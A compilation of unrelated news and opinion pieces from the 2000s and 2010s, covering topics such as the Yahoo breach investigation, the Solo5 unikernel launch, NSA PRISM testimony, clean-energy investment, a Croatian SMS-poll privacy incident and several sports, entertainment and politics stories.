Alexa commands, and the proprietary software that can recognize wake words, reduce background noise, and cancel out echos in large rooms.  By offering this to OEMs, other device manufacturers can build their own smart, voice-powered products – even those that would compete with Amazon’s own Echo speakers.  Developers interested in Amazon Lex can get started here.
-The Securities and Exchange Commission is now investigating a pair of Yahoo data breaches reported in 2016 to see if the company should have reported the breaches to investors sooner.  While the SEC investigation is in the early stages, according to the Wall Street Journal , a case brought against Yahoo could help clarify the timeline for companies to reveal such hacks.  The disclosures also prompted Verizon, which had reached a deal to acquire Yahoo before the hacks were announced, to look into how the hacks may have affected Yahoo's user numbers. At one point, after the second hack was announced, Verizon was reportedly considering exiting the deal but, according to Sunday night's WSJ report, Verizon says the deal is still in place.  The first data breach occurred in 2014, affecting up to 500 million users, and was reported in September 2016. Yahoo confirmed that user account information was stolen from the company’s network "in late 2014 by what it believes is a state-sponsored actor."  The company suggested at the time that the stolen information could include personal credentials such names, email addresses, telephone numbers, dates of birth, hashed passwords (the vast majority protected by bcrypt) and even security questions and answers.  The ongoing investigation also revealed that unprotected passwords, payment card data and bank account information were not included in the stolen information, since that info isn't stored in the affected system.  The second incident occurred in August 2013, impacting nearly one billion users, and was reported in December 2016. That hack involved names, email addresses, phone numbers, dates of birth, MD5-hashed passwords (a form of encryption now widely considered insecure) and security question answers, according to the company.  Additional reporting by Nicole Galucci and Gianluca Mezzofiore
-The American Civil Rights Union’s Robert Knight, who has been encouraging Republicans to run on social issues such as hostility to abortion rights and opposition to LGBT equality, now thinks the GOP should campaign on denying the existence of evolution.  Citing a Pew poll which shows that belief in evolution has plummeted in the GOP and is now shared by only a minority of Republicans, Knight told the American Family Association’s One News Now that “Republicans have a great opportunity” to expose the “lies that liberals have told over the years” and begin “questioning evolution more than ever.”  He also warns that a belief in evolution “leads to terrible things like socialism and communism and fascism and Nazism and the more extreme forms of liberalism in this country.”
-It was bad enough when Republican candidates in the presidential election invoked Jack Bauer from the TV show 24 as their model for how to deal with terrorists.  Now the National Review has published an incredibly surreal list of the “Best Conservative Movies of the Last 25 Years“. Here’s the complete list:  #25: Gran Torino (2008)  #24: Team America: World Police (2004)  #23: United 93 (2006)  #22: Brazil (1985)  #21: Heartbreak Ridge (1986)  #20: Gattaca (1997)  #19: We Were Soldiers (2002)  #18: The Edge (1997)  #17: The Chronicles of Narnia: The Lion, The Witch, and The Wardrobe (2005)  #16: Master and Commander (2003)  #15: Red Dawn (1984)  #14: A Simple Plan (1998)  #13: Braveheart (1995)  #12: The Dark Knight (2008)  #11: The Lord of the Rings (2001, 2002, 2003)  #10: Ghostbusters (1984)  #9: Blast from the Past (1999)  #8: Juno (2007)  #7: The Pursuit of Happyness (2006)  #6: Groundhog Day (1993)  #5: 300 (2007)  #4: Forrest Gump (1994)  #3: Metropolitan (1990)  #2: The Incredibles (2004)  #1: The Lives of Others (2007)  Their #1 Conservative movie of the last 25 years is The Lives of Others, a German film that is ironically about the evils of government wiretapping.  Other movies on their list are equally interesting. They picked #10 Ghostbusters because the bad guy (not counting the ghosts) is an obnoxious bureaucrat who works for the EPA. And how #24 Team America: World Police by South Park creators Trey Parker and Matt Stone, and Brazil by Terry Gilliam (from Monty Python) got onto their list is a mystery.  UPDATE: Fark has the complete list, along with the conservative review of each movie from NRO. I love some of their comments — Brazil is “Vividly depicting the miserable results of elitist utopian schemes”. In The Cronicles of Narnia “The White Witch runs a godless, oppressive, paranoid regime that hates Santa Claus”. And in The Dark Knight, Batman represents none other than Dubya, whose “stubborn integrity kept the nation safe and turned the tide of war” against the terrorist Joker — by devising new means of surveillance, pushing the limits of the law, and accepting the hatred of the press and public. I kid you not.
-TV star Kapil Sharma, who has been going through a rough phase in his professional life, will not be seen on TV for some time as his hit show - The Kapil Sharma Show - has been pulled down. A day after a channel spokesperson confirmed news of the show going off air, the comedian-actor has given the reason behind the decision - he is unwell.  “Yes, I am just going to rest for some days. It is just a drop of a few episodes because I cannot ignore my health at this stage when my movie is also going to release and the coming schedule is going to be more hectic. I will come back with full force. I am thankful to the channel that they allowed me and did not put any pressure,” Kapil told Pinkvilla.  Kapil Sharma, Kiku Sharda and Chandan Prabhakar during a press conference in Amritsar on Saturday, March 05, 2016. ( Photo by Sameer Sehgal/ Hindustan Times )  “Kapil is suffering from blood pressure issues and stress, which is affecting his work. The decision to take a break from shooting fresh episodes was taken mutually between Kapil and the channel,” a source close to the show had told Hindustan Times.  “Kapil has been under the weather for sometime now. Due to this, we have mutually agreed to take a short break. However, once Kapil has recovered completely, we will start shooting again. We value our relationship with Kapil and wish him a speedy recovery,” an official spokesperson from the channel said.  Sony plans to re-run old episodes of the The Kapil Sharma Show for the time being, with a change in the timing.  “From the coming weekend, our other comedy show, The Drama Company (starring Krushna Abhishek, one of the main rivals of Kapil Sharma) will be on air at 9pm, and The Kapil Sharma Show’s re-run episodes will be aired at 8pm,” the source from the channel added.  The TRPs of Kapil’s show have been in a free fall since his mid-air fight with Sunil Grover. Sunil left the show as did Ali Asgar and Chandan Prabhakar. Kapil’s troubles only increased when he had to cancel a shoot with Shah Rukh Khan after he fainted on the sets. In fact, since July, Kapil cancelled shoots seven times with A-list Bollywood celebs for a variety of reason. The recent team to return without shooting their episode was Baadshaho team led by Ajay Devgn.  Follow @htshowbiz for more  First Published: Sep 01, 2017 09:35 IST
-By Dan Williams  I'm excited to announce the release of Solo5! Solo5 is essentially a kernel library that bootstraps the hardware and forms a base (similar to Mini-OS) from which unikernels can be built. It runs on fully virtualized x86 hardware (e.g., KVM/QEMU), using virtio device interfaces.  Importantly, Solo5 is integrated (to some extent) with the MirageOS toolstack, so the Solo5 version of the Mirage toolstack can build Mirage unikernels that run directly on KVM/QEMU instead of Xen. As such, Solo5 can be considered an alternative to Mini-OS in the Mirage stack. Try it out today!  In the rest of this post, I'll give a bit of motivation about why I think the lowest layer of the unikernel is interesting and important, as well as a rough overview of the steps I took to create Solo5.  Why focus so far down the software stack?  When people think about Mirage unikernels, one of the first things that comes to mind is the use of a high-level language (OCaml). Indeed, the Mirage community has invested lots of time and effort producing implementations of traditional system components (e.g., an entire TCP stack) in OCaml. The pervasive use of OCaml contributes to security arguments for Mirage unikernels (strong type systems are good) and is an interesting design choice well worth exploring.  But underneath all of that OCaml goodness is a little kernel layer written in C. This layer has a direct impact on:  What environments the unikernel can run on. Mini-OS, for example, assumes a paravirtualized (Xen) machine, whereas Solo5 targets full x86 hardware virtualization with virtio devices.  Boot time. "Hardware" initialization (or lack of it in a paravirtualized case) is a major factor in achieving the 20 ms unikernel boot times that are changing the way people think about elasticity in the cloud.  Memory layout and protection. Hardware "features" like page-level write protection must be exposed by the lowest layer for techniques like memory tracing to be performed. Also, software-level strategies like address space layout randomization require cooperation of this lowest layer.  Low-level device interfacing. As individual devices (e.g., NICs) gain virtualization capabilities, the lowest software layer is an obvious place to interface directly with hardware.  Threads/events. The low-level code must ensure that device I/O is asynchronous and/or fits with the higher-level synchronization primitives.  The most popular existing code providing this low-level kernel layer is called Mini-OS. Mini-OS was (I believe) originally written as a vehicle to demonstrate the paravirtualized interface offered by Xen for people to have a reference to port their kernels to and as a base for new kernel builders to build specialized Xen domains. Mini-OS is a popular base for MirageOS, ClickOS, and other unikernels. Other software that implements a unikernel base include Rumprun and OSv.  I built Solo5 from scratch (rather than adapting Mini-OS, for example) primarily as an educational (and fun!) exercise to explore and really understand the role of the low-level kernel layer in a unikernel. To provide applications, Solo5 supports the Mirage stack. It is my hope that Solo5 can be a useful base for others; even if only at this point to run some Mirage applications on KVM/QEMU!  Solo5: Building a Unikernel Base from Scratch  At a high level, there are roughly 3 parts to building a unikernel base that runs on KVM/QEMU and supports Mirage:  Typical kernel hardware initialization. The kernel must know how to load things into memory at the desired locations and prepare the processor to operate in the correct mode (e.g., 64-bit). Unlike typical kernels, most setup is one-time and simplified. The kernel must set up a memory map, stack, interrupt vectors, and provide primitives for basic memory allocation. At its simplest, a unikernel base kernel does not need to worry about user address spaces, threads, or many other things typical kernels need.  Interact with virtio devices. virtio is a paravirtualized device standard supported by some hypervisors, including KVM/QEMU and Virtualbox. As far as devices go, virtio devices are simple: I was able to write (very simple/unoptimized) virtio drivers for Solo5 drivers from scratch in C. At some point it may be interesting to write them in OCaml like the Xen device drivers in Mirage, but for someone who doesn't know OCaml (like me) a simple C implementation seemed like a good first step. I should note that even though the drivers themselves are written in C, Solo5 does include some OCaml code to call out to the drivers so it can connect with Mirage.  Appropriately link Mirage binaries/build system. A piece of software called mirage-platform performs the binding between Mini-OS and the rest of the Mirage stack. Building a new unikernel base means that this "cut point" will have lots of undefined dependencies which can either be implemented in the new unikernel base, stubbed out, or reused. Other "cut points" involve device drivers: the console, network and block devices. Finally, the mirage tool needs to output appropriate Makefiles for the new target and an overall Makefile needs to put everything together.  Each one of these steps carries complexity and gotchas and I have certainly made many mistakes when performing all of them. The hardware initialization process is needlessly complex, and the overall Makefile reflects my ignorance of OCaml and its building and packaging systems. It's a work in progress!  Next Steps and Getting Involved  In addition to the aforementioned clean up, I'm currently exploring the boot time in this environment. So far I've found that generating a bootable iso with GRUB as a bootloader and relying on QEMU to emulate BIOS calls to load the kernel is, by the nature of emulation, inefficient and something that should be avoided.  If you find the lowest layer of the unikernel interesting, please don't hesitate to contact me or get involved. I've packaged the build and test environment for Solo5 into a Docker container to reduce the dependency burden in playing around with it. Check out the repo for the full instructions!  I'll be talking about Solo5 at the upcoming 2016 Unikernels and More: Cloud Innovators Forum event to be held on January 22, 2016 at SCALE 14X in Pasadena, CA USA. I look forward to meeting some of you there!  Discuss this post on devel.unikernel.org  Thanks to Amir, Mort, and Jeremy, for taking the time to read and comment on earlier drafts.
-Rashid Rauf escaped from police custody in Pakistan in 2007 A fugitive British militant linked to an alleged UK plot to use liquid bombs to blow up transatlantic airliners has been killed in Pakistan, reports say. Pakistani media said Rashid Rauf, born in Birmingham, was killed in a US air strike in North Waziristan, a haven for militants and the Taleban. Mr Rauf, on the run after escaping from Pakistani custody, was seen as a link between the UK plotters and Pakistan. Three men were convicted in the UK in September of conspiracy to murder. News of the liquid bomb plot paralysed global air travel, prompting authorities to implement stringent security measures at airports around the world. Rashid Rauf was arrested in Pakistan on 9 August 2006, at the request of US authorities, who feared he was about to disappear into the remote north-west of the country. ALLEGED LIQUID BOMB PLOT Group accused of plotting to carry liquid explosives onto planes at London Heathrow Airport Arrests in August 2006, after Rashid Rauf detained in Pakistan Move prompted increased security at UK and US airports At trial, three men convicted of conspiracy to murder None found guilty of conspiring to target passenger aircraft  Profile: Rashid Rauf One day later authorities in the UK and the US implemented strict security measures at airports, fearing possible bomb attacks. Hundreds of flights were delayed at airports around the world with massive disruption at major UK terminals and in the US, amid security service fears that militants were planning to mix liquids into lethal explosives. Terrorism charges against the Briton were eventually dropped but he remained under detention in Pakistan as a "preventative measure". Mr Rauf, who is thought to have Pakistani citizenship through his family connections, then escaped custody in December 2007 while on his way to an extradition hearing under police guard. West Midlands Police in the UK were seeking his extradition from Pakistan as a suspect in the murder of his uncle, who was killed six years ago. 'Safe haven' Several Pakistani TV channels reported that Mr Rauf was one of five people killed on Saturday by a presumed US attack in the country's remote north-western region. Unnamed Pakistani intelligence sources said that a wanted Egyptian militant, Abu Zubair al-Masri, was among the others killed. However, the BBC has so far been unable to independently confirm the news. A young Asian woman at the Rauf family home in the Ward End area of Birmingham said they had had no confirmation of his death, and no contact from Britain's Foreign Office. She said the family wanted to be left alone "to deal with this". Islamist militants use the mountainous tribal areas along the border between Pakistan and Afghanistan as a safe haven for training and resupply. The US regularly uses pilotless drones to attack militant targets in the region, a tactic that has caused growing resentment among Pakistan's leaders. On Thursday the government summoned the US ambassador in Islamabad to protest one day after an attack deep inside Pakistani territory killed five people - including at least one alleged militant. Pakistan says the constant missile strikes infringe its sovereignty. The BBC's Barbara Plett, in Islamabad, says the attacks spark widespread anger in Pakistan - especially among tribal figures. In that context, Saturday's attack will be reported in Pakistan as another violation of Pakistan's sovereignty and not for the possible killing of Rashid Rauf, our correspondent says. The US says the insurgents use the territory to launch attacks against coalition forces in Afghanistan. Islamabad has been pursuing a policy of ad-hoc peace deals with local Taleban commanders.  Bookmark with: Delicious  Digg  reddit  Facebook  StumbleUpon What are these? E-mail this to a friend Printable version
-Salvatore Cambria (left) and Eric Onyango said they bought a $1 million winning Powerball ticket in New Jersey, and threw it in the garbage when they read the wrong winning numbers. (Credit: CBS 2)  Remember the New Jersey man who made headlines after winning the jackpot in the Lottery last year  As it happens, it turns out there were a couple of men who claim they were winners too, but threw their ticket away.  The men have now filed a lawsuit against the New Jersey Lottery, CBS 2’s Hazel Sanchez reported.  Erick Onyango and Salvatore Cambria, both of Suffern, Rockland County, claim they had a million-dollar lottery ticket in their hands, but they threw it away.  “I was very upset — Mad, angry, hurt — everything. I’m like, this is my ticket out of here,” Cambria said.  The two friends bought three Powerball tickets from a Mahwah, New Jersey 7-Eleven last year.  Onyango said he checked the winning numbers on his phone 15 minutes after the drawing and was convinced they didn’t have a winner.  “I’m like this, this, this while he’s checking and, like, ‘Oh, no. It’s not the one,'” Onyango said.  “I crumpled it up, put it inside of an empty cigarette pack, and put it in my garbage can,” said Cambria.  But it turned out the numbers Onyango was reading were from the previous Powerball drawing.  Days later, when Onyango said he realized he bought a winning ticket that matched five numbers and was worth $1 million, the ticket was already buried in a garbage dump, Sanchez reported.  Glady Gannon said she’s confident she sold the winning ticket to Onyango.  “I remember that night he was in here and I sold it to him — three individual tickets on the Powerball,” Gannon said.  The two men said the serial numbers on the tickets they kept prove they bought the winning ticket.  “There’s two serial numbers per ticket — 89, 90. The third ticket is 93 and 94. So the middle ticket, 91 and 92, is gone,” Cambria said.  The pair is suing the New Jersey Lottery Commission for their winnings, arguing they never would have thrown away the ticket if the correct numbers were posted online.  The commission could not comment on the pending lawsuit.  But other lottery players told Sanchez they think the men are out of luck.  “You threw away the lottery ticket. You’re not getting it,” one person said.  “He should’ve confirmed the data before he threw the ticket out,” another weighed in.  All in all, it was a painful lesson for Onyango and Cambria, who said before they toss another ticket, they’ll stop and ask, as a sign in the store reads, “Are you throwing away a million dollars?”  Check Out These Other Stories From CBSNewYork.com:
-Authority vs.. Freedom  Why Islamists and Fascists Persecute Christians  FrontPage Magazine A study from the Europe-based Center for Studies on New Religions recently confirmed that “Christians continue to be the most persecuted believers in the world, with over 90,000 followers of Christ being killed in the last year [2016],” which computes to one death every six minutes. The study also found that as many as 600 million Christians around the world were prevented from practicing their faith. Which group is most prone to persecute Christians around the world? The answer to this was made clear by another recent study; it found that, of the ten nations around the world where Christians suffer the worst forms of persecution, nine are Islamic, though the absolute worst—North Korea—is not.  What is it about Christians that brings the worst out of some people, Muslims in the majority? Three main reasons come to mind, though there are more: Christianity is the largest religion in the world . There are Christians practically everywhere around the globe, including in much of the Muslim world. Moreover, because much of the territory that Islam conquered throughout the centuries was originally Christian—including all of the Middle East, Turkey, and North Africa—Muslims are still confronted with vestiges of Christianity. In Egypt alone, which was the intellectual center of early Christendom before the Islamic invasions, at least 10 million Christians remain. In short, because of their sheer numbers alone, Christians in the Muslim world are much more likely to suffer under Islam than other “infidels.”  . There are Christians practically everywhere around the globe, including in much of the Muslim world. Moreover, because much of the territory that Islam conquered throughout the centuries was originally Christian—including all of the Middle East, Turkey, and North Africa—Muslims are still confronted with vestiges of Christianity. In Egypt alone, which was the intellectual center of early Christendom before the Islamic invasions, at least 10 million Christians remain. In short, because of their sheer numbers alone, Christians in the Muslim world are much more likely to suffer under Islam than other “infidels.” Christianity is devoted to “proclaiming the Gospel” (literally, “the good news). No other major religion—not Buddhism, Hinduism, Judaism—has this missionary aspect. These faiths tend to be coextensive with certain ethnicities and homegrown to certain locales. The only other religion that has what can be described as a missionary element is Islam itself. Thus, because Christianity is the only religion that actively challenges Muslims with the truths of its own message, so too is it the primary religion to be accused of proselytizing, which is banned under Islamic law. And by publicly uttering teachings that contradict Muhammad’s—including Christianity’s core message—Christians fall afoul of Islam’s blasphemy law as well. Hence why most Muslims who apostatize to other religions—and get punished for it, sometimes with death—apostatize to Christianity.  (literally, “the good news). No other major religion—not Buddhism, Hinduism, Judaism—has this missionary aspect. These faiths tend to be coextensive with certain ethnicities and homegrown to certain locales. The only other religion that has what can be described as a missionary element is Islam itself. Thus, because Christianity is the only religion that actively challenges Muslims with the truths of its own message, so too is it the primary religion to be accused of proselytizing, which is banned under Islamic law. And by publicly uttering teachings that contradict Muhammad’s—including Christianity’s core message—Christians fall afoul of Islam’s blasphemy law as well. Hence why most Muslims who apostatize to other religions—and get punished for it, sometimes with death—apostatize to Christianity. Christianity is the quintessential religion of martyrdom. From its inception—beginning with Jesus, and followed by his disciples and countless others in the early church—many Christians have been willing to accept death rather than to stop spreading the Gospel—or, worse, renounce the faith; this was evident in ancient times at the hands of the pagan Roman Empire and in medieval (and modern) times at the hands of Muslims and other persecutors. Practically no other religion encourages its adherents to embrace death rather than abjure the faith. Thus, whereas Christ says “But whoever denies me before men, I will deny him before my Father in heaven” (Matthew 10:33; see also Luke 14:33), Islam teaches Muslims to conceal and even publicly renounce Muhammad, rather than die. Moreover, other religions and sects approve of dissimulation to preserve their adherents’ lives. A nineteenth-century missionary observed that in Iran “Bahaism enjoys taqiyya (concealment of faith) as a duty, but Christianity demands public profession; and hence in Persia it is far easier to become a Bahai than to become a Christian.”1  Christianity’s penchant to refuse to toe the line that, from its beginnings till now, has caused fascists and supremacists to persecute Christians Of course, Islam’s oppressive laws target people of all or no religions. Many outspoken Muslim apostates in the West who never converted to Christianity must fear execution should they ever fall into the hands of their former coreligionists. However, they are here now, alive and well in the West and warning us, precisely because they were not challenging the spiritual truths of Islam then, when they were living under its shadow—and why should they have been? If life is limited to the now, as it is in the secular worldview, why risk it, especially when merely not rocking the boat, as many “moderate Muslims” do, will save it? It is in fact Christianity’s penchant to refuse to toe the line that, from its beginnings till now, has caused fascists2 and supremacists of all stripes—from the ancient Roman Empire (whence the word fascist is derived) to modern day North Korea—to persecute Christians. The latter have a long history of refusing to be silent and paying the sort of lip service that everyone else is willing to offer to get by. Just as Jesus irked Pilate by refusing to utter some words to save his life—“Don’t you realize I have the power either to set you free or crucify you?” asked the bewildered procurator (John 19:10)—his disciples and countless other ancient Christians defied the Roman Empire, prompting several emperors to launch what, at least until now, were deemed history’s worst persecutions of Christians; and today, countless modern day Christians continue grieving and thus being punished by their totalitarian and supremacist overlords—from North Korea to every corner of the Muslim world—for the very same reasons. Samuel M. Zwemer, The Law of Apostasy in Islam: Answering the Question Why There are So Few Moslem Converts, and Giving Examples of Their Moral Courage and Martyrdom (London: Marshall Brothers, 1916), 25. I use the term “fascist(s)” here in the popular sense – as in a non-Christian regime that “forcibly suppress[es] opposition and criticism” — and not in reference to any particular fascist party or government of history.  Only YOU can save CFP from Social Media Suppression. Tweet, Post, Forward, Subscribe or Bookmark us  RAYMOND IBRAHIM (RaymondIbrahim.com) is a widely published author, public speaker, and Middle East and Islam expert. His books include Crucified Again: Exposing Islam’s New War on Christians (2013) and The Al Qaeda Reader (2007). His writings, translations, and observations have appeared in a variety of publications, including Fox News, Financial Times, Jerusalem Post, Los Angeles Times, New York Times Syndicate, United Press International, USA Today, Washington Post, Washington Times, and Weekly Standard; scholarly journals, including the Almanac of Islamism, Chronicle of Higher Education, Jane’s Islamic Affairs Analyst, Middle East Quarterly, and Middle East Review of International Affairs; and popular websites, such as American Thinker, the Blaze, Bloomberg, Christian Post, FrontPage Magazine, Gatestone Institute, the Inquisitr, Jihad Watch, NewsMax, National Review Online, PJ Media, VDH’s Private Papers, and World Magazine. He has contributed chapters to several anthologies and been translated into various languages.  Please adhere to our commenting policy to avoid being banned. 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-Illustration: The Pew Charitable Trusts  Advertisement  Global investment in clean energy fell 11 percent in 2013. Despite the downward shift, there are still some bright spots that highlight the future of the world’s clean tech industries.  Investment in solar, wind, biofuels, biomass, energy efficiency and energy storage was US $254 billion in 2013, according to a new report [PDF] from Pew Charitable Trusts.  While the stars of the market, wind and solar, have slipped, the unused kilowatt—aka energy efficiency—saw a 15 percent growth in the past year. Investment might be down overall, but 2013 was still a record setting year that also saw energy storage take a foothold in the market.  Solar and wind, with more than $170 billion in investment combined, still make up the lion’s share of the clean tech industry. But energy efficiency, which includes smart meters and energy storage, was the only sector that saw increased investment, with a total of nearly $4 billion in 2013. Most of the efficiency investment was in the United States, where there is an increased focus on saving energy at the state and federal level.  “While there was an overall decline in investment, there are signs that the sector is reaping the rewards of becoming a more mature industry,” Phyllis Cuttino, director of Pew's clean energy program, said in a statement. “Prices for technologies continue to drop, making them increasingly competitive with conventional power sources. Key clean energy stock indexes rose significantly in 2013, with public market financing up by 176 percent.”  Although the United States led in energy efficiency, Asia is leading the clean tech charge overall with 10 percent growth. China dominated with more than $54 billion in investments in 2013, including a near four-fold increase in solar growth.  “With extensive manufacturing capacity in the solar and wind sectors, growing domestic markets, and unequaled national targets for renewable energy, China is poised to be a leader in the world’s clean energy marketplace for many years to come,” the report authors wrote. Even so, China’s investment was down 6 percent from 2012.  China’s slight decline was offset by the growth in the Japanese market, which is driven by feed-in tariffs for wind and solar. Those incentives were presented as a way to advance renewables as an alternative to nuclear power that went offline in the wake of the 2011 Fukushima nuclear disaster. Japanese clean tech investment was up 80 percent in 2013 to nearly $30 billion, putting it third behind China and the United States.  Overall, the European clean tech market has dropped considerably, driven by tighter investment in Germany and Italy in particular. The U.K. is one bright spot for clean energy in Europe, with 13 percent growth in 2012. Most of the growth came in the wind sector, but the UK is also second in the G-20 in terms of “other renewables” because of its investment in biomass.  In the Americas, Canada jumped ahead with a nearly 50 percent growth in investment, also mostly driven by wind. Ontario, in particular, has a goal of completely shutting down its coal-fired electricity generation. But solar was up too, attracting $2.5 billion of the country’s $6.5 billion investment.  Canada, the U.K., and Japan were the only G-20 countries that saw growth, but non G-20 markets grew by 15 percent overall. “Markets for clean energy technologies in fast-growing developing countries are prospering, because these economies view distributed generation as an opportunity to avoid investments in costly transmission systems,” said Pew's Cuttino.  Distributed solar is expected to keep growing in the United States and Japan. Mexico and Turkey each have legislation that could jump start the clean tech industries, according to the report. South Korea is investing in efficiency to manage peak demand. China will continue to lead, however, with goals of 18 gigawatts of wind and 14 gigawatts of solar in 2014.  “In view of industry maturation,” the Pew authors wrote, “Bloomberg New Energy Finance projects a 2014 rebound in worldwide investment and installation of renewable energy.”  Image: Pew Charitable Trusts
-Foto: Index  VIŠE građana Zagreba posljednjih je dana primilo SMS poruku u kojoj ih se pita za koga će glasati na lokalnim izborima, nepoznati anketar danas je predstavio i rezultate svoje ankete prema kojem je najviše glasova osvojio Milan Bandić. Isto tako objavili su i brojeve telefona građana koji su im odgovarali na sms anketu s njihovim odgovorima. No, krenimo redom.  Objavili odgovore s brojem telefona  S telefonskog broja 0996330278 građani su dobili poruku u kojoj je stajalo: "SMS anketa. Na izborima za gradonačelnika Zagreba glasovat ću za; 1. M. Bandić 2. D. Bernardić 3. A. Mikulić 4. D.Prgomet 5. S. Švaljek 6. A.M. Taritaš". Danas su s mail adrese smsankete@gmail stigli i "rezultati" ankete i to zbog "velikog interesa javnosti".  "Šaljemo vam rezultate sms ankete koja je provedena u subotu i nedjelju", stoji u mail poruci. U dnu email poruke navedeni su odgovori koji su stizali s brojeva mobitela, a nedostaje tek zadnji broj. Tko stoji iza ove ankete te objave brojeva građana koji su u istoj sudjelovali nije poznato. Naime, broj s kojeg se građanima slao upit više nije aktivan, a na s maila smsankete@gmail.com nismo dobili nikakav odgovor.  Navodno je u anketi sudjelovalo 14491 građana.  HAKOM: Ne odgovarajte na pozive  U HAKOM-u odgovarajući na upit Indexa kažu kako je ovakve poruke najbolje zanemariti.  Tekst se nastavlja ispod oglasa  "U konkretnom slučaju radi se o anketiranju korisnika koje nije regulirano Zakonom o elektroničkim komunikacijama jer ne predstavlja promidžbu ni prodaju, ali bi se ono moralo provoditi na način da se zna tko provodi anketu, odnosno ne bi se smjelo provoditi s neregistriranih brojeva. U navedenim slučajevima, ako građani ne žele odgovarati na postavljena pitanja, predlažemo da zamole anketare da ih se više ne kontaktira, odnosno takav poziv se može jednostavno prekinuti, a u slučaju zaprimanja SMS poruke istu treba zanemariti", stoji u odgovoru HAKOM-a.  Ukoliko se radi o promidžbenim ili prodajnim porukama uporabom automatskih pozivnih i komunikacijskih sustava bez pribavljene prethodne privole korisnika isto predstavlja kršenje Zakona o elektroničkim komunikacijama, odnosno neželjene elektroničke komunikacije te HAKOM na temelju prijave korisnika o navedenim radnjama donosi mjere kako bi se spriječilo daljnje kršenje Zakona i kažnjava prekršitelja.  Istraga zbog zlouporaba  "Naime, ukoliko se utvrdi da ne postoji prethodna privola korisnika za primanje promidžbenih ili prodajnih poruka, protiv prekršitelja će sukladno Zakonu biti pokrenut odgovarajući postupak, a daljnje slanje takvih poruka zabranjeno i onemogućeno. HAKOM je vezano za političku promidžbu u siječnju i rujnu ove godine pokrenuo inspekcijske nadzore te je utvrđeno kako su poruke ovakvog i sličnog sadržaja dolazile s većeg broja neregistriranih „pre-paid“ brojeva koji su ugašeni od strane operatora zbog zlouporabe", kažu nam na kraju iz HAKOM-a.
-Centrist Republican Rep. Jim Gerlach won't seek re-election to his eastern Pennsylvania district this fall, creating a pickup opportunity for Democrats.  Gerlach said in a statement that he had opted against seeking a seventh term in Congress. The news was first reported by PoliticsPA. Republican presidential nominee Mitt Romney narrowly carried the district in 2012 after its boundaries were shored up during the latest round of redistricting.  "Nearing the end of my sixth term in the House and following 12 years of public service in the Pennsylvania House and Senate, it is simply time for me to move on to new challenges and to spend more time with my wife and family, who have been extremely supportive and have made significant sacrifices during my tenure in public office," Gerlach said in a statement.  Before that, Gerlach won even as Democratic presidential candidates John Kerry and Barack Obama carried his district in 2004 and 2008.  Democrats have previously targeted Gerlach for defeat, but ultimately fell short. Democrats need to gain a net of 17 seats this November in order to win back control of the House from Republicans, a generally tall task at this stage.  Moreover, Gerlach's decision to retire adds to the ranks of moderate Republicans to announce their decision to leave Congress at their current terms.
-Alexander said at least ten of the attacks were set to take place in the United States. NSA: PRISM stopped NYSE attack  Recently leaked communication surveillance programs have helped thwart more than 50 “potential terrorist events” around the world since the Sept. 11 attacks, National Security Agency Director Keith Alexander said Tuesday.  Alexander said at least 10 of the attacks were set to take place in the United States, suggesting that most of the terrorism disrupted by the program had been set to occur abroad.  Story Continued Below  The NSA also disclosed that counterterrorism officials targeted fewer than 300 phone numbers or other “identifiers” last year in the massive call-tracking database secretly assembled by the U.S. government.  ( PHOTOS: Pols, pundits weigh in on NSA report)  Alexander said the programs were subject to “extraordinary oversight.”  ”This isn’t some rogue operation that a group of guys up at NSA are running,” the spy agency’s chief added.  The data on use of the call-tracking data came in a fact sheet released to reporters in connection with a public House Intelligence Committee hearing exploring the recently leaked telephone data mining program and another surveillance effort focused on Web traffic generated by foreigners.  ( POLITICO Junkies: NSA leaks cause flood of political problems)  Alexander said 90 percent of the potential terrorist incidents were disrupted by the Web traffic program known as PRISM. He was less clear about how many incidents the call-tracking effort had helped to avert.  Deputy FBI Director Sean Joyce said the Web traffic program had contributed to arrests averting a plot to bomb the New York Stock Exchange that resulted in criminal charges in 2008.  Joyce also indicated that the PRISM program was essential to disrupting a plot to bomb the New York City subways in 2009. “Without the [Section] 702 tool, we would not have identified Najibullah Zazi,” Joyce said.  However, President Barack Obama acknowledged in an interview aired Monday that it is impossible to know whether the subway plot might have been foiled by other methods.  ”We might have caught him some other way. We might have disrupted it because a New York cop saw he was suspicious. Maybe he turned out to be incompetent and the bomb didn’t go off. But at the margins we are increasing our chances of preventing a catastrophe like that through these programs,” Obama told Charlie Rose on PBS.  At the hearing, Alexander detailed the scope and safeguards of the programs, while Deputy Attorney General James Cole laid out the legal basis for the surveillance.  “This is not a program that’s off the books, that’s been hidden away,” Cole said of the call-tracking program, which was classified “top secret” prior to recent leaks. He noted that the Patriot Act provision found to authorize it has been twice reauthorized by Congress.  “All of us in the national security [community] are constantly trying to balance protecting public safety with protecting people’s civil liberties,” Cole said.  NSA Deputy Director Chris Inglis said a very limited number of individuals are authorized to access the call-tracking database.
-DALLAS -- Hal Mumme joined the staff of SMU coach June Jones on Wednesday, bringing together two men behind some of the most prolific passing offenses in NCAA history.  Mumme, who will be Jones' assistant head coach and passing game coordinator, was head coach at Division II McMurry (Texas) the past four seasons, producing three straight winning seasons for a program that had gone eight years without one. McMurry won its first postseason game since 1949 with a Division III playoff victory in 2011, and went 8-3 as an independent in its first season in Division II last year.  Mumme is a former head coach at Kentucky, where he led the Wildcats to their first win over Alabama in 75 years in his first season in 1997. He finished with a four-year record of 20-26. He also has been head coach at New Mexico State, Southeastern Louisiana, Valdosta State and Iowa Wesleyan.  Three of the top seven quarterbacks in career passing yards per game were coached by Jones or Mumme.  Colt Brennan is No. 2 on the list at 373.5, and he was Jones' starter when Hawaii went undefeated in the regular season and played in the Sugar Bowl after the 2007 season. Hawaii beat Mumme-coached New Mexico State that year.  Chase Holbrook averaged 329.1 yards per game under Mumme at New Mexico State to rank fifth all-time, and Hawaii's Timmy Chang is No. 7 at 322.1.  Mumme's arrival also brings some NCAA baggage to the only school that has received the so-called death penalty for recruiting violations. Mumme resigned under pressure at Kentucky in 2001 amid an investigation that led to a one-year bowl ban and a reduction in scholarships.  Mumme was not individually sanctioned, but his recruiting coordinator, Claude Bassett, was effectively banned from working at an NCAA school for eight years. The NCAA said more than $7,000 was spent by Kentucky, primarily through Bassett, for improper recruiting or gifts of money to high school coaches and prospects.  While at New Mexico State, Mumme was accused in a lawsuit of discriminating against four Muslim players. The lawsuit was settled without the school admitting wrongdoing.  Just a few weeks after he was fired with a four-year record of 11-38 at New Mexico State, Mumme revealed that he was being treated for prostate cancer. He took the McMurry job two months later.
